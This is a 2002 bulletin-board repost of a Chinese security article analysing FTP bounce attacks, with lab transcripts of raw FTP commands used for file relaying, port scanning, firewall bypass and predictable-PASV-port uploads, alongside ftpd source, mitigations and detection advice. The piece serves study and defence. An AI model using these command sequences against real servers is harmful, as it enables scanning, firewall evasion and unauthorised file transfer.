荔园在线

荔园之美,在春之萌芽,在夏之绽放,在秋之收获,在冬之沉淀

[回到开始] [上一篇][下一篇]


发信人: michaelx (Tiger Lazy), 信区: Security
标  题: 论 FTP bounce 攻击
发信站: 荔园晨风BBS站 (Thu Feb 21 10:52:45 2002), 转信

◆ 论 FTP bounce 攻击

作者:scz < scz@nsfocus.com >
主页:http://www.nsfocus.com
日期:2002-01-28

    目录:

    1.  前言
    2.  一个直观的FTP bounce攻击举例
    3.  关于上例中所涉及端口的讨论
    4.  SPARC/Solaris 7缺省携带的FTP Server所存在的问题
    5.  x86/FreeBSD 4.3-RELEASE缺省携带的FTP Server所存在的问题
    6.  x86/FreeBSD 4.x中FTP Server的实现
    7.  CERT对此问题的反应
    8.  相关RFC
    9.  FTP bounce攻击的危害
        1) 端口扫描
        2) 突破常规防火墙
        3) 从限制源IP站点下载敏感信息
        4) 与java applet结合突破动态防火墙
    10. 解决办法
    11. x86/FreeBSD 4.x中FTP Server进入PASV模式后的端口选用
    12. FTP Hijacking的可能性
    13. proxy命令的使用
    14. NIDS对此问题的反应
    15. 后记

------------------------------------------------------------------------
--

★ 1. 前言


本文主要是对FTP bounce攻击做一积累、总结、回顾式讨论。如果对此已经熟悉,

敬请批评、斧正之。

★ 2. 一个直观的FTP bounce攻击举例

100Mbps Switch -----+----- 192.168.5.203(x86/Linux)
                    |
                    +----- 192.168.5.201(x86/FreeBSD 4.3-RELEASE)
                    |
                    +----- 192.168.5.209(SPARC/Solaris 7)

假设192.168.5.201和192.168.5.209都是缺省安装,并且开放FTP Server

在192.168.5.203上做如下操作

------------------------------------------------------------------------
--
telnet 192.168.5.201 21
user scz   <-- 用户名
pass ***   <-- 口令
cwd src    <-- 切换到一个相应用户可写目录(可上载目录/home/scz/src)
type i     <-- 切换传输模式
pasv       <-- server进入被动模式,等待来自client的tcp连接
227 Entering Passive Mode (192,168,5,201,193,3)
                           ^^^^^^^^^^^^^^^^^^^ 注意这段数据
stor out   <-- 指定将来保存数据时使用的文件名
------------------------------------------------------------------------
--

我所接触的绝大多数FTP Server在命令关键字上(比如user、USER)大小写不敏感,

查看RFC 959是如何定义的。此时这边产生阻塞,不要动这个窗口。

假设192.168.5.209上存在/export/home/scz/src/in文件

在192.168.5.203上另开一个窗口,做如下操作

------------------------------------------------------------------------
--
telnet 192.168.5.209 21
user scz   <-- 用户名
pass ***   <-- 口令
cwd src    <-- 切换到/export/home/scz/src
type i     <-- 切换传输模式到二进制模式
port 192,168,5,201,193,3
     ^^^^^^^^^^^^^^^^^^^ 这段数据来自上面那个pasv操作
retr in
quit
------------------------------------------------------------------------
--

回到stor out的窗口输入

quit

此时在192.168.5.201上存在/home/scz/src/out文件,来自192.168.5.209上的
/expo-
rt/home/scz/src/in文件。数据在192.168.5.201与192.168.5.209之间流动,但控

完全由192.168.5.203发起,这就是 FTP bounce 攻击的直观解释。

从测试过程可以看出 SPARC/Solaris 7 缺省携带的FTP Server也易遭受 FTP
bounce
攻击,不过它对port命令做了一定限制,不允许指定小于1024的特权端口。

受影响的Pi-Soft SpoonFTP版本未对port命令做限制,不但可以指定非client ip

还可以指定小于1024的特权端口。

★ 3. 关于上例中所涉及端口的讨论

100Mbps Switch -----+----- 192.168.5.203(x86/Linux)
                    |
                    +----- 192.168.5.201(x86/FreeBSD 4.3-RELEASE)
                    |
                    +----- 192.168.5.209(SPARC/Solaris 7)

1) 192.168.5.203 --> 192.168.5.201 tcp/21

192.168.5.203 调用connect()连接192.168.5.201的tcp/21,建立第一个ftp控制
流,
经过user、pass、cwd、type,最后是pasv命令,指使192.168.5.201在tcp/49411

上进入listen状态,等待连接请求。

193 * 256 + 3 = 49411

从测试过程可以看出,192.168.5.201(x86/FreeBSD 4.3-RELEASE)的FTP Server进

被动模式后,未对数据流的client ip做检查,本来从安全角度看应该限制此时数

流的client ip必须和控制流的client ip一致。

stor命令发出后,192.168.5.201上的FTP Server进入阻塞状态,等待数据流tcp连
接。

2) 192.168.5.203 --> 192.168.5.209 tcp/21

192.168.5.203调用connect()连接192.168.5.209的tcp/21,建立第二个ftp控制流

经过user、pass、cwd、type,然后是port命令,通知192.168.5.209上FTP
Server下
次数据流connect()的目标为192.168.5.201的tcp/49411口。

3) 192.168.5.209 tcp/20 --> 192.168.5.201 tcp/49411

向192.168.5.209的FTP Server下达retr in命令后,192.168.5.209将调用
connect()
连接192.168.5.201的tcp/49411口,并将本机的in文件内容通过这个tcp连接发送

去。

此时connect()调用前会先调用bind()调用,指定本机端口为20口。为了确认这点

可以用tcpdump抓包观察,在192.168.5.201上执行

# /usr/sbin/tcpdump -i fxp0 -netS -s 96 -c 3000 tcp and src port 20
and src host 192.168.5.209

指定接口,取消反向域名解析,显示MAC地址,显示时间戳,显示绝对TCP序列号,

snaplen为96,抓取3000个包,TCP包,源端口20,源IP为192.168.5.209。

★ 4. SPARC/Solaris 7缺省携带的FTP Server所存在的问题

我测试中用到的SPARC/Solaris 7缺省携带的FTP Server未经任何配置,暂时没有
2.6
的测试环境,不确认SPARC/Solaris 2.6缺省携带的FTP Server未经任何配置时,

否也存在该问题,不过我相信是存在的。这个FTP Server在port命令的实现上,

1) 没有限制所指定的IP只能是控制流上的client ip

但是,这个FTP Server

2) 限制所指定的PORT必须是大于等于1024的非特权端口

------------------------------------------------------------------------
--
telnet 192.168.5.209 21
user scz
pass ***
port 192,168,5,201,0,23
500 PORT argument must be 1024 or greater.
------------------------------------------------------------------------
--

★ 5. x86/FreeBSD 4.3-RELEASE缺省携带的FTP Server所存在的问题

这个FTP Server在pasv命令的实现上,

1) 没有限制只允许来自控制流上client ip发起数据流tcp连接请求

这个FTP Server在port命令的实现上,

2) 所指定的IP只能是控制流上的client ip

3) 所指定的PORT必须是大于等于1024的非特权端口

------------------------------------------------------------------------
--
telnet 192.168.5.201 21
user scz
pass ***
port 192,168,5,209,0,23
500 Illegal PORT range rejected.
port 192,168,5,203,0,23
500 Illegal PORT range rejected.
port 192,168,5,203,23,23
200 PORT command successful.
------------------------------------------------------------------------
--

★ 6. x86/FreeBSD 4.x中FTP Server的实现

backend <backend@nsfocus.com>对此做了研究,在文件
src/libexec/ftpd/ftpcmd.y
中有一个port_check()函数。/usr/libexec/ftpd的实现利用了yacc工具。

------------------------------------------------------------------------
--
/*
* Return 1, if port check is done. Return 0, if not yet.
*/
static int port_check ( const char *pcmd )
{
    if ( his_addr.su_family == AF_INET )
    {
        if ( data_dest.su_family != AF_INET )
        {
            usedefault = 1;
            reply( 500, "Invalid address rejected." );
            return( 1 );
        }
        /*
         * 注意这里,做了两个重要判断
         */
        if ( paranoid && ( ( ntohs( data_dest.su_port ) <
IPPORT_RESERVED )
             || memcmp( &data_dest.su_sin.sin_addr, &his_addr.su_sin.
sin_addr,
                        sizeof( data_dest.su_sin.sin_addr ) ) ) )
        {
            usedefault = 1;
            reply( 500, "Illegal PORT range rejected." );
        }
        else
        {
            usedefault = 0;
            if ( pdata >= 0 )
            {
                ( void )close( pdata );
                pdata = -1;
            }
            reply( 200, "%s command successful.", pcmd );
        }
        return( 1 );
    }
    return( 0 );
}  /* end of port_check */
------------------------------------------------------------------------
--

显然,这个FTP Server在port命令的实现上做了重要限制

1) 所指定的IP只能是控制流上的client ip

2) 所指定的PORT必须是大于等于1024的非特权端口

任一条件未满足则报错,"Illegal PORT range rejected."

对于FTP Server的被动模式,man -S 8 ftpd,可以看到如下内容

------------------------------------------------------------------------
--
-U   旧版本的ftpd在进入PASV模式后,数据流使用的端口(listen)范围是
     [1024, 4999]。现在的版本,缺省情况下这个范围是[49152, 65535]。
     如果指定-U参数启动ftpd,将使用旧版本的端口范围。
------------------------------------------------------------------------
--

★ 7. CERT对此问题的反应

1997.12.10,CERT就此问题发布公告

http://www.cert.org/advisories/CA-1997-27.html

1999.03.08 做了最后一次修正。

对FTP bounce攻击还可参看

http://www.cert.org/tech_tips/ftp_port_attacks.html

★ 8. 相关RFC

RFC 959是原始的FTP协议,其中并未对PORT命令的实现做任何限制。是否可以指定

于1024的特权端口,在RFC 959中没有相应说明。在3.2节中明确指出可以在两台
FTP
Server之间传输数据,而控制来自第三方。

换句话说,所谓的FTP bounce攻击是与RFC相兼容的,这是非常具有讽刺意味的一

事情,也是FTP协议的一个严重安全问题。FTP协议的另一个严重安全问题是用户名

口令是明文传输的,很容易被监听到。

RFC 1579是"Firewall-Friendly FTP",它对FTP Client的行为做了建议,并不要

修改FTP Protocol。

RFC 959本来建议"服务器主动模式"下connect()的目标端口为控制流的源端口。但

大多数FTP Client没有采纳这个建议,为了避免TIME_WAIT状态带来的麻烦,它们

一个新的端口上listen(),并通过PORT命令通知FTP Server。这给Firewall的配置

来了灾难。

★ 9. FTP bounce攻击的危害

1) 端口扫描

攻击者可以假借存在问题的FTP Server做connect()式的端口扫描,最终被扫描对

看到连接来自FTP Server,而不是原始的攻击者所在IP。

比如192.168.5.201上tcp/3306是开放的,在192.168.5.203上做如下操作

------------------------------------------------------------------------
--
telnet 192.168.5.209 21
user scz
pass ***
port 192,168,5,201,23,23
200 PORT command successful.
nlst
425 Can't build data connection: Connection refused.
port 192,168,5,201,12,234
200 PORT command successful.
nlst
150 ASCII data connection for /bin/ls (192.168.5.201,3306) (0 bytes).
226 ASCII Transfer complete.
quit
------------------------------------------------------------------------
--

如上信息表明192.168.5.201的tcp/3306是可以connect()上的,而tcp/5911未开放

此时192.168.5.201只知连接来自192.168.5.209,而不知攻击者位于192.168.5.
203。

显然某些时候这会危及权限控制,比如IP限制。

2) 突破常规防火墙

假设192.168.5.209和192.168.5.201均位于防火墙内,而192.168.5.203位于防火

外,只能直接访问192.168.5.209。192.168.5.201在tcp/8080口上提供了WWW CGI

务,从192.168.5.203无法直接使用这些CGI服务,从192.168.5.209可以直接使用

些CGI服务。

通过192.168.5.209做跳板主机,192.168.5.203可以先上载一个适当的符合HTTP协

的数据文件到192.168.5.209,然后利用FTP bounce攻击将数据文件的内容送往
192.168.5.201的tcp/8080口。

这给内网安全带来隐患。

3) 从限制源IP站点下载敏感信息

比如192.168.5.209上有一些敏感信息因国家政策原因不对192.168.5.203开放,只

192.168.5.201开放,此外另有一些目录却是world public的。而192.168.5.201本

是完全world public的。

如果192.168.5.209易受FTP bounce攻击,而192.168.5.201可以进入PASV模式,则

以利用这点先将敏感信息从192.168.5.209传到192.168.5.201,然后再取回来。

1995年在BugTraq Maillist上由Hobbit指出这个问题。参看

http://cui.unige.ch/eao/www/TechInternet/ftp-attack.html

该文写得非常精采,不过我觉得不必动用FTP Client,直接telnet <ip> 21进行控

即可。稍加讨论

a. 作者动用标准FTP Client,所以使用了quote命令,这不是FTP Server命令,而

   FTP Client命令,表示发送原始数据

b. 作者构造了这样一个文件

------------------------------------------------------------------------
--
   user ftp
   pass -anonymous@
   cwd /export-restricted-crypto
   type i
   port F,F,F,F,X,X
   retr crypto.tar.Z
   quit
   ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
   ^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ ... ^@^@^@^@
   ...
------------------------------------------------------------------------
--

   如果用telnet直接控制,就可以在retr之后不急于输入quit,这样就不存在控

   流提前结束的问题,因此后续的^@(就是\0)也不必了。

c. 作者用到了一个技巧

------------------------------------------------------------------------
--
   put instrs
   quote "port C,C,C,C,0,21"
   quote "retr instrs"
------------------------------------------------------------------------
--

   port命令指明下次connect()的目标,现在是控制流所用周知口tcp/21。retr命

   将读取本机instrs文件,并将其中的内容通过tcp连接发送出去。在这里就相当

   在控制流上输入了控制命令一样。

   如果做一次不需要看到回显数据的"盲"攻击,利用存在问题的FTP Server做端

   转发提交输入,是很有意义的事情。考虑那些IDS、Firewall、ACLs、log等等


   scz注:这个技巧存在一些实际应用上的问题,注意到 21 < 1024,对于
          x86/FreeBSD 4.3-RELEASE和SPARC/Solaris 7的缺省FTP Server设置,

          法通过PORT命令指定这样的端口,也就无法利用这个技巧,此时仍然可

          直接telnet <ip> 21进行控制。当然,历史上这样的攻击技巧还是可以

          功利用的。

4) 与java applet结合突破动态防火墙

   假设victim位于防火墙内,访问位于防火墙外的attacker所做的WEB页面,其上

   带了一个java applet。这个Java applet将connect()回attacker的tcp/21口,

   没有违背"sand box"原则。

   Java applet送回去的是FTP PORT命令,使attacker试图connect()到victim所

   内网一台受保护的主机。

   动态包过滤防火墙会检查outbound报文以确定下一步的过滤机制。它注意到
PORT
   命令,从而允许attacker连接内网的主机,而通常这种连接是不为该防火墙所

   许的。

   Martin, David M., Rajagopalan, Sivaramakrishnan, and Rubin, Aviel D.,

   在1997年写了一篇<<Blocking Java Applets at the Firewall>>,专门讨论这

   问题,参看

   http://avirubin.com/block.java.pdf

   从这里再次可以看出FTP Protocol给Firewall、Proxy实现、配置带来的麻烦。


★ 10. 解决办法

因为所谓"FTP bounce"攻击是RFC 959的规范,要真正解这决这个问题比较棘手。

在许多厂商允许定制针对FTP Server的反应,有如下一些解决方案

1) FTP Server严格遵循RFC 959,PORT命令本身未做任何限制,转而限制其它网络

   务程序,拒绝源端口为tcp/20的连接请求。

2) 限制PORT命令,只能指定控制流上的client ip

3) 对PORT命令做两种实现,其中一种是缺省设置,可以在二者之间切换。此时要

   意缺省设置是哪种。

4) 限制匿名FTP帐号的写权限,有助于减弱FTP bounce攻击的意义,但无法防止端

   扫描。

5) 谨慎选用Firewall并仔细配置之,像上面那种弱智的对Java applet攻击做出如

   反应的Firewall,应该弃用。

注意,实际上为了解决这个问题,很可能违背了RFC 959。

★ 11. x86/FreeBSD 4.x中FTP Server进入PASV模式后的端口选用

大致看了看src/libexec/ftpd/ftpd.c,FTP Server进入PASV模式后的确没有对源
IP
做太多限制。

在文件src/libexec/ftpd/ftpd.c中定义了如下函数passive()

------------------------------------------------------------------------
--
void passive ()
{
    int   len;
    char *p, *a;

    /*
     * close old port if one set
     */
    if ( pdata >= 0 )
    {
        close( pdata );
    }
    pdata = socket( ctrl_addr.su_family, SOCK_STREAM, 0 );
    if ( pdata < 0 )
    {
        perror_reply( 425, "Can't open passive connection" );
        return;
    }
    ( void )seteuid( ( uid_t )0 );

#ifdef IP_PORTRANGE
    if ( ctrl_addr.su_family == AF_INET )
    {
        /*
         * case 'U':
         *     restricted_data_ports = 0;
         *     break;
         */
        int on = restricted_data_ports ? IP_PORTRANGE_HIGH
                 : IP_PORTRANGE_DEFAULT;

        if ( setsockopt( pdata, IPPROTO_IP, IP_PORTRANGE,
                         ( char * )&on, sizeof( on ) ) < 0 )
        {
            goto pasv_error;
        }
    }
#endif
    pasv_addr         = ctrl_addr;
    /*
     * 注意这里
     */
    pasv_addr.su_port = 0;
    if ( bind( pdata, ( struct sockaddr * )&pasv_addr, pasv_addr.
su_len ) < 0 )
    {
        goto pasv_error;
    }
    ( void )seteuid( ( uid_t )pw->pw_uid );

    len = sizeof( pasv_addr );
    if ( getsockname( pdata, ( struct sockaddr * )&pasv_addr, &len ) < 0
 )
    {
        goto pasv_error;
    }
    /*
     * 注意listen()的第二形参是1,不是常见的5,只能顺序单独处理这个
socket
     * 的连接请求
     */
    if ( listen( pdata, 1 ) < 0 )
    {
        goto pasv_error;
    }
    if ( pasv_addr.su_family == AF_INET )
    {
        a = ( char * )&pasv_addr.su_sin.sin_addr;
    }
    else if ( pasv_addr.su_family == AF_INET6 &&
              IN6_IS_ADDR_V4MAPPED( &pasv_addr.su_sin6.sin6_addr ) )
    {
        a = ( char * )&pasv_addr.su_sin6.sin6_addr.s6_addr[12];
    }
    else
    {
        goto pasv_error;
    }
    p = ( char * )&pasv_addr.su_port;

#define UC(b) (((int) b) & 0xff)

    reply( 227, "Entering Passive Mode (%d,%d,%d,%d,%d,%d)",
           UC(a[0]), UC(a[1]), UC(a[2]), UC(a[3]), UC(p[0]), UC(p[1])
);
    return;

pasv_error:

    ( void )seteuid( ( uid_t )pw->pw_uid );
    ( void )close( pdata );
    pdata = -1;
    perror_reply( 425, "Can't open passive connection" );
    return;
}  /* end of passive */
------------------------------------------------------------------------
--

backend对此函数做了如下补充说明

------------------------------------------------------------------------
--
1) 参看/usr/include/netinet/in.h文件

/*
* Argument for IP_PORTRANGE:
* - which range to search when port is unspecified at bind() or
connect()
*/
#define IP_PORTRANGE_DEFAULT  0  /* default range
*/
#define IP_PORTRANGE_HIGH     1  /* "high" - request firewall bypass
*/
#define IP_PORTRANGE_LOW      2  /* "low" - vouchsafe security
*/

/*
* Ports < IPPORT_RESERVED are reserved for
* privileged processes (e.g. root).         (IP_PORTRANGE_LOW)
* Ports > IPPORT_USERRESERVED are reserved
* for servers, not necessarily privileged.  (IP_PORTRANGE_DEFAULT)

*/
#define IPPORT_RESERVED         1024
#define IPPORT_USERRESERVED     5000

/*
* Default local port range to use by setting IP_PORTRANGE_HIGH
*/
#define IPPORT_HIFIRSTAUTO      49152
#define IPPORT_HILASTAUTO       65535

/*
* Scanning for a free reserved port return a value below
IPPORT_RESERVED,
* but higher than IPPORT_RESERVEDSTART.  Traditionally the start value
was
* 512, but that conflicts with some well-known-services that firewalls
may
* have a fit if we use.
*/
#define IPPORT_RESERVEDSTART    600

2) 执行如下操作,查看相关可调内核参数

# sysctl -a | grep net.inet.ip.portrange
net.inet.ip.portrange.lowfirst: 1023  <-- 这里太奇怪了,居然1023在前面
net.inet.ip.portrange.lowlast: 600
net.inet.ip.portrange.first: 1024
net.inet.ip.portrange.last: 5000
net.inet.ip.portrange.hifirst: 49152  <-- 可调,但不能小于1024
net.inet.ip.portrange.hilast: 65535
#

3) 在一台x86/FreeBSD 4.3-RELEASE上做如下测试

# sysctl -w net.inet.ip.portrange.hifirst=1024
# sysctl -w net.inet.ip.portrange.hilast=1024
# telnet localhost 21
user backend
pass *******
pasv
227 Entering Passive Mode (127,0,0,1,4,0)
^]
telnet> q
# sysctl -w net.inet.ip.portrange.hifirst=49152
# sysctl -w net.inet.ip.portrange.hilast=65535

4) man -S 8 ftpd

-R  如果设置了该选项,ftpd将不对PORT命令做安全检查,历史上ftpd就是这样实

    的。当前版本的ftpd缺省对PORT命令进行安全检查,只能指定client ip以及

    于1023的非特权端口。这与RFC 959相违背,但防范了某些安全漏洞。

可以修改/etc/inetd.conf中ftpd的设置,kill -HUP <pid of inetd>,然后验证


# telnet localhost 21
user backend
pass *******
port 192,168,5,8,0,23  <-- 192.168.5.8非localhost,23是特权端口
200 PORT command successful.
^]
telnet> q
#
------------------------------------------------------------------------
--

注意这里

pasv_addr.su_port = 0;

FTP Server将选择端口的任务留给了操作系统,没有自己维护这个端口值。但是在

们的测试过程中发现这个端口基本是顺序加一递增的,也就是说这个端口值可预测


这构成潜在的安全问题,因为第三方可以连接这个端口,并向之发送任意数据,最

根据stor命令的指定存入本机文件。stor命令发出后开始accept()。

由于是listen( pdata, 1 ),第二形参是1,后面只调了一次accept()就close()了

所以这个端口只有一次使用机会。对于GUI的FTP Client,几乎没什么机会给第三
方。
但问题潜在存在。

SPARC/Solaris 7中FTP Server进入PASV模式后的端口选用存在同样的问题。

Solaris 7的源码包中存在如下目录cmd/cmd_inet/usr_sbin/in_ftpd/,其下也有

似的ftpcmd.y和ftpd.c文件,大致看了看,与FreeBSD的实现大同小异,毕竟Sun
OS
4.x 是BSD分支上的。

1) 从192.168.5.203执行如下操作

------------------------------------------------------------------------
--
telnet 192.168.5.209 21
user scz
pass ***
cwd src
type i
pasv
227 Entering Passive Mode (192,168,5,209,130,253)
stor hello

~~~~~~~~~~~~~~~~~~~~ 在这里形成阻塞,不要急于输入quit命令

150 Binary data connection for hello (192.168.5.201,1032).
226 Transfer complete.
quit
221 Goodbye.
Connection closed by foreign host.
------------------------------------------------------------------------
--

2) 从192.168.5.201上执行如下操作

------------------------------------------------------------------------
--
telnet 192.168.5.209 33533
world
^D
^]
telnet> q
Connection closed.
------------------------------------------------------------------------
--

3) 现在可以检查192.168.5.209上的/export/home/scz/src/hello文件

------------------------------------------------------------------------
--
[scz@ /export/home/scz/src]> cat hello
world

[scz@ /export/home/scz/src]> od -A x -t x1 hello
0000000 77 6f 72 6c 64 0d 0a 04 0d 0a
000000a
[scz@ /export/home/scz/src]>
------------------------------------------------------------------------
--

注意到,192.168.5.209因来自192.168.5.203的FTP请求进入被动模式,却处理了

自192.168.5.201的数据流。这里没有任何身份验证,用的是控制流所具有的权限


★ 12. FTP Hijacking的可能性

尽管手工完成这些操作比较不切实际,但是结合"TCP Hijacking"、"IP
Spoofing"等
技术,这个安全问题就变得很有价值了。以前不就出现过"FTP Hijacking"的现成

具软件吗(faint,我收集的被丢到光盘堆里去了,谁手头有,发给我一份吧,
thx)。

事实上在FTP bounce攻击中,只需要一台FTP Server,之所以前面举例说明用到了

台FTP Server,仅仅是捡个现成的,完全可以自己做socket编程。

注意到FTP Server所做的身份验证仅仅发生在USER/PASS过程中,之后的PORT、
PASV、
RETR、STOR等命令都再未做任何身份验证,直接使用控制流所具有的用户权限。

让我们简单看看在合法用户登录成功后都能做些什么

1) 结合TCP Hijacking、IP Spoofing在控制流上伪造命令,此时不需要考虑身份

   证了

2) 第三方伪造PORT、RETR命令对非法下载数据

3) 第三方伪造PASV、STOR命令对非法上载数据

4) 第三方预测PASV端口,直接通过数据流非法上载数据,可能造成覆盖。注意,
4)
   不需要TCP Hijacking,考虑Sniffer技术,然后用程序循环预测PASV端口,一

   connect()成功(不能做syn半开扫描,前面解释过了,只有一次机会),立即上

   数据形成覆盖。如果合法登录的用户是root,!·#¥%……—*

   再次印证root做远程FTP Server登录存在太多安全隐患。

★ 13. proxy命令的使用

在x86/Linux上man ftp,可以看到

------------------------------------------------------------------------
--
proxy ftp-command

    这条命令允许同时针对两台FTP Server建立两条FTP控制流,并在它们之间传

    文件

    proxy get 表示第二台FTP Server扮演Client的角色,从第一台FTP Server下

    文件

    proxy put 表示第二台FTP Server扮演Client的角色,向第一台FTP Server上

    文件

    为了正常使用这条命令,要求第二台FTP Server支持PASV命令。

    scz注:实际上还要求第一台FTP Server完全实现RFC 959,不对PORT命令做限
制。
           也就是说,只有当第一台FTP Server易受FTP bounce攻击时,proxy命

           才能成功执行。
------------------------------------------------------------------------
--

好的,现在让我们看看实际举例,在192.168.5.203上执行如下操作

------------------------------------------------------------------------
--
ftp 192.168.5.209
scz               <-- 输入192.168.5.209上的用户名
***               <-- 输入192.168.5.209上的口令
binary            <-- 切换192.168.5.209上的传输模式
cd src            <-- 切换192.168.5.209上的目录
debug             <-- 打开调试模式,观察原始命令
proxy open 192.168.5.201
scz               <-- 输入192.168.5.201上的用户名
***               <-- 输入192.168.5.201上的口令
proxy binary      <-- 切换192.168.5.201上的传输模式
proxy cd src      <-- 切换192.168.5.201上的目录
proxy get in out  <-- 192.168.5.201从192.168.5.209下载in,存成本地out
proxy close       <-- 关闭到192.168.5.201的控制流
bye               <-- 关闭到192.168.5.209的控制流
------------------------------------------------------------------------
--

由于打开了debug模式,可以看到

------------------------------------------------------------------------
--
ftp> proxy get in out
---> PASV
192.168.5.201:227 Entering Passive Mode (192,168,5,201,193,42)
---> PORT 192,168,5,201,193,42
---> RETR in
192.168.5.209:150 Binary data connection for in (192.168.5.201,49450)
---> STOR out
------------------------------------------------------------------------
--

现在对proxy命令有了彻底的了解,不再感觉神秘了吧,呵。注意,proxy是
FTP Client命令关键字,不是FTP Server命令关键字,最后是拆解成PASV、STOR、

PORT、RETR这些命令的。

★ 14. NIDS对此问题的反应

网络IDS如果在做内容过滤,可以对FTP控制流中的PORT命令进行解析,检查

1) 指定的IP是否和控制流本身的源IP相符合

2) 指定的端口是否大于等于1024

如果违背其中一条,有两种可能

1) FTP Client在作正常的proxy命令操作。这种需求并不很常见。

2) 攻击者在做FTP bounce攻击。这个可能比较大。

NIDS配置人员可以根据LAN内实际拓扑,决定当NIDS检测到这种异常时是否报警。


★ 15. 后记

RFC 959定义的FTP Protocol存在不少安全问题,本文只简单讨论了其中一部分。

次没有提供更多测试程序,以后有机会来补充完善这份文档,比如"FTP
Hijacking"
那一部分,还有"端口扫描"的程序实现等等。

欢迎对本文批评、斧正。

感谢backend <backend@nsfocus.com>和tt <warning3@nsfocus.com>参与讨论、测
试。

<完>


--
M.X的FTP SERVER
ftp://192.168.55.18

※ 来源:·荔园晨风BBS站 bbs.szu.edu.cn·[FROM: 203.93.19.1]


[回到开始] [上一篇][下一篇]

荔园在线首页 友情链接:深圳大学 深大招生 荔园晨风BBS S-Term软件 网络书店